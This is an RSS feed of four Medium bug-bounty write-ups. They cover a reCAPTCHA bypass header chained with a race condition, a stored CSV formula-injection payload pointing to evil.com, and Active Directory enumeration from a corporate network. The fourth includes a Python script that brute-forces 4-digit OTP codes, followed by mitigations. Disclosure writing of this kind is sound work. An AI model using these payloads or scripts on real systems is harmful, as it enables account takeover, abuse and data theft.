<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Garvitverma on Medium]]></title>
        <description><![CDATA[Stories by Garvitverma on Medium]]></description>
        <link>https://medium.com/@garvitverma19910?source=rss-da884b2e104d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*CYpHs8tsnBswct5_</url>
            <title>Stories by Garvitverma on Medium</title>
            <link>https://medium.com/@garvitverma19910?source=rss-da884b2e104d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 05:17:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@garvitverma19910/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Google reCAPTCHA Bypass Leads to Business logic Flaw with chained to Race Condition.]]></title>
            <link>https://medium.com/@garvitverma19910/google-recaptcha-bypass-leads-to-business-logic-flaw-with-chained-to-race-condition-f8c0b8d9f227?source=rss-da884b2e104d------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8c0b8d9f227</guid>
            <category><![CDATA[race-condition]]></category>
            <category><![CDATA[bypass-recaptcha]]></category>
            <category><![CDATA[google-bypass]]></category>
            <dc:creator><![CDATA[Garvitverma]]></dc:creator>
            <pubDate>Sun, 30 Mar 2025 09:41:09 GMT</pubDate>
            <atom:updated>2025-03-30T09:41:09.474Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction 🚀</h3><p><strong>So, </strong>whoami; I am a Curious employee or student or <em>still figuring out but added one more title to my name </em><strong><em>Security Researcher. </em></strong><em>In this article i am going to explain i found ReCAPTCHA bypass which then chained to Race condition which leads to business logic flaw.</em></p><p>Google reCAPTCHA is one of the most widely used <strong>anti-bot protections</strong> on the internet, designed to prevent automated account creation and spam. However, during a recent bug bounty program, I found a <strong>simple yet critical flaw</strong> that allowed me to <strong>completely bypass reCAPTCHA</strong> using nothing more than a <strong>single header modification</strong>.</p><p>Yes, <strong>no solving CAPTCHAs</strong>, no tedious clicking on traffic lights or fire hydrants — just a <strong>single header</strong>, and BOOM! Mass account creation unlocked. 💥</p><p>Let’s break it down.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*lA4cWqEvORZuup-kFks9Ig.gif" /><figcaption>ReCAPTCHA is just so Irritating</figcaption></figure><h3>Steps to Reproduce 🔄</h3><p>Before we dive into the exploit, let’s first understand how the <strong>normal registration flow</strong> works.</p><h3>Normal Registration Flow ✅</h3><ol><li><strong>Sign up</strong> with an email and password.</li><li><strong>Complete the Google reCAPTCHA verification.</strong></li><li><strong>Receive a verification response</strong>, confirming successful registration.</li><li><strong>Resending the same request</strong> results in:</li></ol><ul><li>&quot;Invalid Captcha&quot; error ❌.</li></ul><ol><li><strong>Removing the reCAPTCHA header</strong> returns:</li></ol><ul><li>&quot;Forbidden: No reCAPTCHA header&quot; ❌.</li></ul><p>So far, <strong>everything is working as expected</strong>. But now, let’s <strong>break it</strong>. 😈</p><h3>Exploitation Steps 💥</h3><h3>Step 1: Intercept the Signup Request</h3><ul><li>Sign up normally using an email and password:</li><li><strong>Email:</strong> redact@redact.com</li><li><strong>Password:</strong> Password@1234</li><li>Capture the <strong>signup request</strong> using <strong>Burp Suite</strong> or <strong>Caido</strong>.</li><li>Send the request to the <strong>Repeater</strong> and drop it.</li></ul><h3>Step 2: Understanding the Verification Behavior</h3><ul><li>Initially, the request is <strong>verified ✅</strong>.</li><li>Resending the same request results in:</li><li>&quot;Forbidden: Invalid reCAPTCHA&quot; ❌.</li></ul><h3>Step 3: The Bypass 🎯</h3><p>Now, let’s <strong>modify the request</strong> to <strong>skip the reCAPTCHA check</strong> entirely.</p><ul><li><strong>Add this header to the request:</strong></li></ul><pre>X-Skip-Recaptcha: true</pre><p><strong>Send the modified request</strong> and observe:</p><ul><li>If the <strong>email already exists</strong>, the response confirms with &quot;AlreadyExists&quot;.</li><li>If a <strong>new email</strong> is used, the response returns:</li></ul><pre>{<br>  &quot;code&quot;: &quot;InternalError&quot;<br>}</pre><p>But here’s the <strong>real kicker</strong> — even though the server responds with <strong>Internal Error (500)</strong>, the <strong>verification email is still sent!</strong> 🚀</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/266/1*QDvnLH01y6DMgFcaNIsU_g.gif" /><figcaption>reCAPTCHA failing miserably at its only job</figcaption></figure><p>You may be wondering how I got an idea to use this header well it is simple, read the JavaScript file they had a JavaScript file named ReCAPTCHA.js when I was going through burp suite HTTP history i found that js file and started reading it, and it has a code to bypass its own ReCAPTCHA and I thought it may not work but to my surprise it did worked. So always read the JavaScript files maybe that can lead to bigger flaw in the security.</p><p>So, Once I noticed this, I then made duplicate request in Repeater and add all of the request in group so i can send this request parallelly and when i did it flood my mail with verification mails. (Race Condition)</p><h3>Final Thoughts 💡</h3><p>Sometimes, <strong>security flaws aren’t about complex exploits</strong> — they’re about <strong>small logic mistakes</strong> that lead to <strong>huge security loopholes</strong>. This <strong>reCAPTCHA bypass</strong> is a perfect example of how a simple <strong>hidden header</strong> can break an entire security mechanism.</p><p>So the next time you’re testing <strong>CAPTCHA implementations</strong>, remember:</p><p><strong>“If a system trusts a request too much, it’s already broken!”</strong> 🔥</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*OMVKUpDvUtHSzvYRhtqAFA.gif" /></figure><p>Happy hacking! 🚀💀</p><p><strong>Author: Indhunter</strong></p><p>Cybersecurity Enthusiast | Ethical Hacker | Blogger | youtuber | Bug bounty Hunter | Pentester</p><p><strong>Connect with Me:</strong></p><ul><li><strong>Twitter</strong>: <a href="https://x.com/GarvitV86722945">Garvit Verma (@GarvitV86722945) / X</a></li><li><strong>LinkedIn</strong>: <a href="https://www.linkedin.com/in/garvit-verma-29298225a/">Garvit Verma | LinkedIn</a></li><li><strong>GitHub</strong>: <a href="https://github.com/garvitv14">garvitv14 (GARVIT VERMA) (github.com)</a></li><li><strong>Youtube</strong>: <a href="https://www.youtube.com/channel/UCJ6BeHWLtD1yLyK2Vtijzqg">https://www.youtube.com/channel/UCJ6BeHWLtD1yLyK2Vtijzqg</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8c0b8d9f227" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Second Order CSV Injection]]></title>
            <link>https://medium.com/@garvitverma19910/second-order-csv-injection-7f6de4b1620f?source=rss-da884b2e104d------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f6de4b1620f</guid>
            <dc:creator><![CDATA[Garvitverma]]></dc:creator>
            <pubDate>Sun, 30 Mar 2025 06:31:55 GMT</pubDate>
            <atom:updated>2025-03-30T06:42:12.392Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Introduction:- So, </strong>whoami; I am a Curious employee or student or <em>still figuring out but added one more title to my name </em><strong><em>Security Researcher. </em></strong>As it has not been easy in this field because you know the competition the creative or out of box mind-set and it can only come when you are comfortable or calm because in between the chaos you cannot find the calmness and without calmness your mind is not a peace. “<strong>Well we are not here for phycology so let’s get back to Exploitation”.</strong></p><p>I am Positive you have not heard about Second Order CSV injection because i don’t think there is any vulnerability called that it’s just i like to name my own vulnerabilities, clearly triager doesn’t like me for that reason.</p><p><strong>Let’s Start the Journey.</strong></p><h3>The Invitation 🎫</h3><p>I got an invite to a <strong>private bug bounty program</strong>. Without a second thought, I accepted it—because why not? I reviewed the scope, and it had <strong>four URLs</strong> listed. My adventure started when I visited the first one, but it redirected me to the <strong>third URL</strong> in the scope.</p><h3>Step 1: Scouting the Target 🕵️‍♂️</h3><ul><li>I signed up and logged in.</li><li>I noticed an <strong>Invite User</strong> feature.</li><li>I immediately thought, <em>&quot;Hmm, can I test for SSTI here?&quot;</em> because mail templates are sometimes vulnerable. But nope, <strong>no special characters were allowed</strong> in the name field. 😢</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*1X1wTGzX8XzA71AYMMuDtw.gif" /></figure><h3>Login History 📜</h3><p>Disappointed but not defeated, I continued my recon. That’s when I stumbled upon a <strong>Login History</strong> page.</p><h3>What was inside?</h3><ul><li>My <strong>public IP</strong> 📍</li><li><strong>OS name</strong> 🖥️</li><li><strong>User-Agent</strong> 🕵️‍♂️</li><li>And most importantly… a <strong>Download CSV</strong> option! 🎯</li></ul><p>And that’s when my <strong>CSV Injection alarm</strong> went off! 🚨</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*NIe3CGGB17_7NGlKryzYOA.gif" /><figcaption>Potential CSV Injection</figcaption></figure><h3>The Plan: Injecting the Payload 💉</h3><p>Here’s the catch: CSV files are dangerous when opened in <strong>Excel</strong>, as certain formulas execute automatically. But… how could I inject anything when there was <strong>no upload functionality</strong>? 🤔</p><p>Then, I remembered i cannot change anything there like <strong>IP </strong>my <strong>OS </strong>name on my own but User-Agent i can -<strong>I could modify my User-Agent!</strong></p><h3>Execution Plan:</h3><ol><li><strong>Captured the login request</strong> with Burp Suite.</li><li><strong>Modified the User-Agent header</strong> with a <strong>CSV Injection payload:</strong></li></ol><pre>=HYPERLINK(&quot;http://evil.com&quot;,&quot;ClickMe&quot;)</pre><ol><li><strong>Logged in again</strong> to make sure the new entry was recorded.</li></ol><p>To my surprise, <strong>it reflected perfectly</strong> in the downloaded CSV! 🎯</p><p>And it reminded me of <strong>Second Order SQL Injection</strong></p><blockquote><strong>Because what is Second Order SQL injection???????</strong></blockquote><blockquote>Second-Order SQL Injection occurs when a malicious input is <strong>stored in the database</strong> and later executed in a different part of the application. Unlike traditional (first-order) SQL injection, where the payload is executed <strong>immediately</strong>, second-order SQL injection requires <strong>a different trigger point</strong> to execute.</blockquote><h3>How It Relates to This CSV Injection?</h3><p>My finding behaves similarly:</p><ul><li>I <strong>injected the malicious payload</strong> into the <strong>User-Agent</strong> field during login.</li><li>Instead of executing immediately, the input was <strong>stored in the database</strong>.</li><li>The execution happened <strong>later</strong>, when the Login History CSV was generated and opened.</li></ul><p>Just like <strong>Second-Order SQL Injection</strong>, this <strong>Second-Order CSV Injection</strong> involves: <strong>Injection at Point A</strong> (User-Agent during login)<br> <strong>Execution at Point B</strong> (CSV download + opening in Excel)</p><p>Great Analogy Right……!!!🚀</p><h3>The BOOM Moment 💥</h3><p>Excited, I downloaded the file and <strong>opened it in Excel</strong>. But wait… <strong>Excel was corrupted.</strong> 😭</p><p>Took a deep breath, reinstalled Excel, and tried again…</p><p>And guess what? <strong>BOOM! The payload executed!</strong> 🎉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*UIjpf-txkdt3P_TNyQpXhQ.gif" /></figure><h3>Impact &amp; Takeaways 🔥</h3><p>This vulnerability could lead to:</p><ul><li><strong>Code Execution</strong>: If the victim has macros enabled, we can chain this further.</li><li><strong>Data Exfiltration</strong>: Using WEBSERVICE(), HYPERLINK(), or CMD.EXE payloads.</li><li><strong>Pivoting inside the internal network</strong> if the file is opened by an employee with higher privileges.</li></ul><h3>Key Takeaways for Bug Hunters:</h3><p>✅ If you see a <strong>CSV file</strong>, think <strong>CSV Injection</strong>! 🧠 ✅ No file upload? Look for <strong>user-controllable fields</strong> that reflect inside CSV logs. ✅ <strong>Second-Order Injections</strong> (SQL or CSV) happen when input is stored and later executed — always track where your input ends up! ✅ <strong>Excel is dangerous.</strong> Users should open CSVs in a <strong>safe viewer</strong> instead of Excel.</p><h3>Final Thoughts 💡</h3><p>Bug hunting is all about <strong>persistence and creativity</strong>. What started as a failed <strong>SSTI attempt</strong> ended up as a <strong>CSV Injection goldmine</strong>, with a <strong>Second-Order Injection behavior</strong> mixed in! So, the next time you see a CSV file, remember…</p><p><strong>“If it downloads, it executes!”</strong> 💀</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*8KorbrXNf9vsJnX1CVO5Ng.gif" /></figure><p>Happy hacking! 🔥</p><p><strong>Author: Indhunter</strong></p><p>Cybersecurity Enthusiast | Ethical Hacker | Blogger | youtuber | Bug bounty Hunter | Pentester</p><p><strong>Connect with Me:</strong></p><ul><li><strong>Twitter</strong>: <a href="https://x.com/GarvitV86722945">Garvit Verma (@GarvitV86722945) / X</a></li><li><strong>LinkedIn</strong>: <a href="https://www.linkedin.com/in/garvit-verma-29298225a/">Garvit Verma | LinkedIn</a></li><li><strong>GitHub</strong>: <a href="https://github.com/garvitv14">garvitv14 (GARVIT VERMA) (github.com)</a></li><li><strong>Youtube</strong>: <a href="https://www.youtube.com/channel/UCJ6BeHWLtD1yLyK2Vtijzqg">https://www.youtube.com/channel/UCJ6BeHWLtD1yLyK2Vtijzqg</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f6de4b1620f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Sky-High to Ground Zero: My Rollercoaster Ride in Active Directory]]></title>
            <link>https://medium.com/@garvitverma19910/from-sky-high-to-ground-zero-my-rollercoaster-ride-in-active-directory-29faa5ce6e8b?source=rss-da884b2e104d------2</link>
            <guid isPermaLink="false">https://medium.com/p/29faa5ce6e8b</guid>
            <category><![CDATA[internal-enviroment]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[rollercoasters]]></category>
            <category><![CDATA[bored]]></category>
            <dc:creator><![CDATA[Garvitverma]]></dc:creator>
            <pubDate>Mon, 30 Dec 2024 17:01:13 GMT</pubDate>
            <atom:updated>2024-12-30T18:10:12.897Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Introduction:- So, </strong>whoami; I am a Curious employee or student or <em>still figuring out</em> person who just got placed in a company and had been sitting in internal network and we all know how internal enviroment can tempt an hacker to try and as i am preparing for CRTP and organization is actually managing Active Directory you can only image how much it tempted me</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*sVy-q6CxHC7ac3XCEydrng.png" /></figure><p>So let’s over with this introduction and get to the point where this temptation and my curiosity took me.</p><p>Ah, Active Directory — the crown jewel of enterprise networks. It’s a place where the secrets of an organization lie neatly structured, protected by layers of permissions. For someone prepping for CRTP (Certified Red Team Professional), finding my way into Active Directory Users and Computers (ADUC) felt like discovering buried treasure. But, as it turns out, treasure chests sometimes come with locks… and an “Access Denied” message.</p><p>Let me take you on this wild ride of discovery, anxiety, and a healthy dose of self-reflection (and maybe even a laugh or two).</p><h3>The Curiosity That Sparked It All</h3><p>It all started with me trying to run a basic Get-DomainPolicy command. “<em>As it was </em><strong><em>cmd </em></strong><em>not a powershell so you can expect the result”</em> so Get-domainPolicy Nothing too fancy, just dipping my toes into AD enumeration. But instead of giving me the expected output, I hit a dead end. <em>“Fine,”</em> I thought. <em>“Just put the domain”</em></p><p>Bam! <strong>Active Directory Users &amp; Trust Management </strong>i was able to see the domain names there but there was nothing much there so i got bored and leave it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*Wl5jPHwoqa1sJo2XPM8KLQ.png" /></figure><h3>The Treasure Trove I Almost Missed</h3><p>Fast forward two days. I was casually learning (because CRTP prep isn’t exactly a walk in the park), and curiosity struck again. I decided to access the page once more, only this time, I clicked on “Manage” for one of the domains.</p><p>Bam! <strong>Active Directory Users and Computers</strong> opened up. Let me tell you, the sheer amount of information displayed made my heart race. It wasn’t just a list of users and groups — it was <strong>everything</strong>:</p><ul><li>Enabled and disabled user accounts</li><li>Group memberships</li><li>Server locations</li><li>Total employee counts by branch</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*kW4DRv_nYcKu1ZNLTtQ0Vg.png" /></figure><p>It was like finding a cheat code to the organization’s entire IT structure. And the cherry on top? When I right-clicked on a user, I had options to <strong>reset passwords, disable accounts, and even add users to groups.</strong> I was on cloud nine.</p><p>I was so excited about my discovery that I immediately reported it to my manager. He told me to document everything and send a report. I did just that, and the next day, he asked me to call.</p><p>Now, this is where my excitement turned into sheer nervousness. He asked me if I had tried making any changes. <strong>Changes? Me? No way! I hadn’t touched anything — I mean, what if something broke?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*s5AtarqPR5XHJaB9GkdNOQ.png" /></figure><p>But then he dropped the bombshell: <em>“Try resetting your friend’s password and see if it works.”</em></p><p>I couldn’t believe it. I was being asked to test my findings. It was a Saturday, and those two days of waiting felt like an eternity. The anticipation was killing me.</p><h3>From Sky-High to Ground Zero</h3><p>Finally, Monday arrived. I grabbed my laptop, logged in, and went straight to work. With trembling fingers, I selected my friend’s account, entered a new password, confirmed it, and clicked “OK.”</p><p>And then… <strong>Access Denied.</strong></p><p>The same dreaded message. My heart sank. <em>“What if this was all just an illusion? What if my discovery amounted to nothing?”</em> I tried again and again, hoping for a different outcome, but it was the same every time. After an hour of frustration, I had to accept reality: I only had <strong>view permissions</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*A4aJu3_kgu_4iYOAp6nvFw.png" /><figcaption><strong>You can look but you can’t touch</strong></figcaption></figure><p>With a heavy heart, I emailed my manager, explaining the situation. The dream of wielding full AD power was gone, but at least I hadn’t broken anything.</p><h3>What I Learned: Analyzing My Access</h3><p>Even with limited permissions, having access to <strong>ADUC</strong> is no small feat. Here’s what I could do with my level of access:</p><ol><li><strong>Inventory Auditing</strong>:</li></ol><ul><li>I could see all users, groups, and servers, which is valuable for understanding the organization’s structure.</li></ul><ol><li><strong>Delegated Access Insights</strong>:</li></ol><ul><li>My ability to open the “Reset Password” dialog suggested I had been granted some form of delegated control, even if I couldn’t finalize changes.</li></ul><ol><li><strong>Potential Enumeration Opportunities</strong>:</li></ol><ul><li>Just viewing these details could expose weak points, such as unused accounts or overly permissive groups.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*TtEXlbeGciVKV_Vfin0BXQ.png" /><figcaption><strong>Here 90% is for view-only and 10% is for hope</strong></figcaption></figure><h3>What to Do with Such Access</h3><p>If you find yourself in a similar situation, here are some things to explore (ethically, of course):</p><ol><li><strong>Validate Permissions</strong>:<br>Use tools like PowerShell or GUI-based enumeration to understand exactly what you can and cannot do.</li></ol><pre>Get-ADUser -Filter * -Property *</pre><ol><li><strong>Search for Misconfigurations</strong>:</li></ol><ul><li>Look for unused or misconfigured accounts.</li><li>Check if any sensitive accounts (e.g., service accounts) have easily guessed credentials.</li></ul><ol><li><strong>Enumerate Group Policies</strong>:<br>If you have read access to Group Policy Objects (GPOs), check for misconfigurations that could be exploited.</li><li><strong>Review Delegated Controls</strong>:</li></ol><ul><li>Identify which accounts or groups have higher privileges and consider reporting overly broad delegation.</li></ul><h3>Final Thoughts</h3><p>While I didn’t get to wield full control over Active Directory, this experience taught me a lot about the importance of permissions and the nuances of AD delegation. It also reinforced the significance of <strong>reporting findings responsibly.</strong></p><p>So, to anyone exploring AD: even limited access can be valuable. Keep digging, stay curious, and who knows? Maybe you’ll uncover something amazing. Just remember to stay ethical and report your findings the right way.</p><p><strong>Have you ever had a similar experience? Share your story in the comments — I’d love to hear it!</strong></p><p><strong>NOTE: — I have NOT SHARED any images of my finding because of security reasons.</strong></p><p><strong>Author: Indhunter</strong></p><p>Cybersecurity Enthusiast | Ethical Hacker | Blogger | youtuber | Bug bounty Hunter | Pentester</p><p><strong>Connect with Me:</strong></p><ul><li><strong>Twitter</strong>: <a href="https://x.com/GarvitV86722945">Garvit Verma (@GarvitV86722945) / X</a></li><li><strong>LinkedIn</strong>: <a href="https://www.linkedin.com/in/garvit-verma-29298225a/">Garvit Verma | LinkedIn</a></li><li><strong>GitHub</strong>: <a href="https://github.com/garvitv14">garvitv14 (GARVIT VERMA) (github.com)</a></li><li><strong>Youtube</strong>: <a href="https://www.youtube.com/channel/UCJ6BeHWLtD1yLyK2Vtijzqg">https://www.youtube.com/channel/UCJ6BeHWLtD1yLyK2Vtijzqg</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=29faa5ce6e8b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rate limit Vuln chain to OTP BYPASSSSSSSSS]]></title>
            <link>https://medium.com/@garvitverma19910/rate-limit-vuln-chain-to-otp-bypasssssssss-5273a6a12396?source=rss-da884b2e104d------2</link>
            <guid isPermaLink="false">https://medium.com/p/5273a6a12396</guid>
            <dc:creator><![CDATA[Garvitverma]]></dc:creator>
            <pubDate>Fri, 21 Jun 2024 06:00:04 GMT</pubDate>
            <atom:updated>2024-06-21T06:00:04.353Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Introduction</strong></p><p>Hello Guys it is my first ever blog where i am explaining an scenerio of vulnerability which i found on my target which leads me to bypass email verification through otp bypass which was possible by rate limiting, mostly rate limiting is considered as “INFORMATIONAL” but it was leading to bypass OTP which was leading to email verification bypass so they considered it as an P4 which got me 200$ bounty, so i will explain everything in this blog so don’t worry about it. <strong>Let’sssss Start</strong></p><p>In the world of cybersecurity, One-Time Passwords (OTPs) are widely used as an additional layer of authentication. They are designed to be a secure method of verifying a user’s identity. However, like any security measure, OTPs are only as strong as their implementation. In this blog, we will explore how improper rate limiting can lead to OTP bypass and the steps attackers might take to exploit such vulnerabilities.</p><p><strong>Understanding OTP and Rate Limiting</strong></p><p><strong>OTP </strong>(One-Time Password) is a password that is valid for only one login session or transaction. OTPs are typically sent to a user via SMS, email, or an authenticator app.</p><p><strong>Rate limiting</strong> is a technique used to control the amount of incoming and outgoing traffic to or from a network. It is crucial for preventing brute force attacks, where an attacker tries numerous attempts to guess the OTP.</p><p><strong>The Vulnerability Chain</strong></p><p><strong>1. Lack of Rate Limiting:</strong> The primary vulnerability in our scenario is the lack of rate limiting on the OTP verification endpoint. Without rate limiting, an attacker can attempt an unlimited number of OTP guesses.</p><p><strong>2. Predictable OTPs:</strong> Some systems use predictable or weak OTP generation mechanisms. For example, an OTP might be a simple 4-digit number, making it easier to guess.</p><p><strong>3. No Account Lockout Mechanism: </strong>Another issue is the absence of an account lockout mechanism after a certain number of failed OTP attempts. This allows attackers to try multiple combinations without any repercussions.</p><p><strong>Exploiting the Vulnerability</strong></p><p>Let’s walk through the steps an attacker might take to exploit these vulnerabilities.</p><p><strong>1. Identify the Target:</strong> The attacker first identifies a target website or application that uses OTP for authentication.</p><p><strong>2. Inspect the OTP Endpoint:</strong> Using tools like Burp Suite or any other web proxy, the attacker inspects the OTP verification request to understand the parameters and structure.</p><p><strong>3. Automate the Attack:</strong> The attacker then writes a script or uses a tool to automate the process of sending multiple OTP verification requests. Below is an example of a Python script that could be used:</p><pre>import requests<br><br>url = &quot;https://target-website.com/verify-otp&quot;<br>headers = {<br>    &quot;Content-Type&quot;: &quot;application/json&quot;<br>}<br><br>user_id = &quot;target_user_id&quot;<br>for otp in range(10000):<br>    data = {<br>        &quot;user_id&quot;: user_id,<br>        &quot;otp&quot;: str(otp).zfill(4)  # Ensuring OTP is a 4-digit number<br>    }<br>    response = requests.post(url, json=data, headers=headers)<br>    if &quot;success&quot; in response.text.lower():<br>        print(f&quot;OTP {otp} is correct!&quot;)<br>        break<br>    else:<br>        print(f&quot;OTP {otp} is incorrect.&quot;)<br></pre><p><strong>4. Gain Access:</strong> If the OTP is correct, the attacker gains access to the victim’s account.</p><p><strong>Mitigation Strategies</strong></p><ul><li>To protect against such attacks, it is essential to implement robust security measures:</li></ul><p><strong>1. Rate Limiting: </strong>Implement rate limiting on the OTP verification endpoint to restrict the number of attempts from a single IP address within a specified time frame.</p><p><strong>2. Strong OTP Generation:</strong> Use a strong, unpredictable OTP generation mechanism. Ensure that OTPs are long enough to resist brute force attacks (e.g., 6–8 digits).</p><p><strong>3. Account Lockout Mechanism: </strong>Implement an account lockout mechanism after a certain number of failed OTP attempts. This can be time-based (e.g., lock the account for 15 minutes) or require additional verification steps.</p><p><strong>4. Multi-Factor Authentication (MFA): </strong>Encourage the use of MFA, which combines OTPs with other authentication factors (e.g., biometric verification, security questions).</p><p><strong>5. Monitoring and Alerts: </strong>Continuously monitor login attempts and set up alerts for suspicious activity, such as multiple failed OTP attempts from the same IP address.</p><p><strong>Conclusion</strong></p><p>While OTPs are a vital part of modern authentication systems, their security depends heavily on the implementation. By understanding and mitigating vulnerabilities such as the lack of rate limiting, organizations can better protect their users from unauthorized access. Always ensure that your security measures are up to date and robust against potential threats.</p><p>Feel free to reach out in the comments if you have any questions or experiences to share about OTP security and rate limiting!</p><p><strong>Author: Indhunter</strong></p><p>Cybersecurity Enthusiast | Ethical Hacker | Blogger | youtuber | Bug bounty Hunter | Pentester</p><p><strong>Connect with Me:</strong></p><ul><li><strong>Twitter</strong>: <a href="https://x.com/GarvitV86722945">Garvit Verma (@GarvitV86722945) / X</a></li><li><strong>LinkedIn</strong>: <a href="https://www.linkedin.com/in/garvit-verma-29298225a/">Garvit Verma | LinkedIn</a></li><li><strong>GitHub</strong>: <a href="https://github.com/garvitv14">garvitv14 (GARVIT VERMA) (github.com)</a></li><li><strong>Youtube</strong>: <a href="https://www.youtube.com/channel/UCJ6BeHWLtD1yLyK2Vtijzqg">https://www.youtube.com/channel/UCJ6BeHWLtD1yLyK2Vtijzqg</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5273a6a12396" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>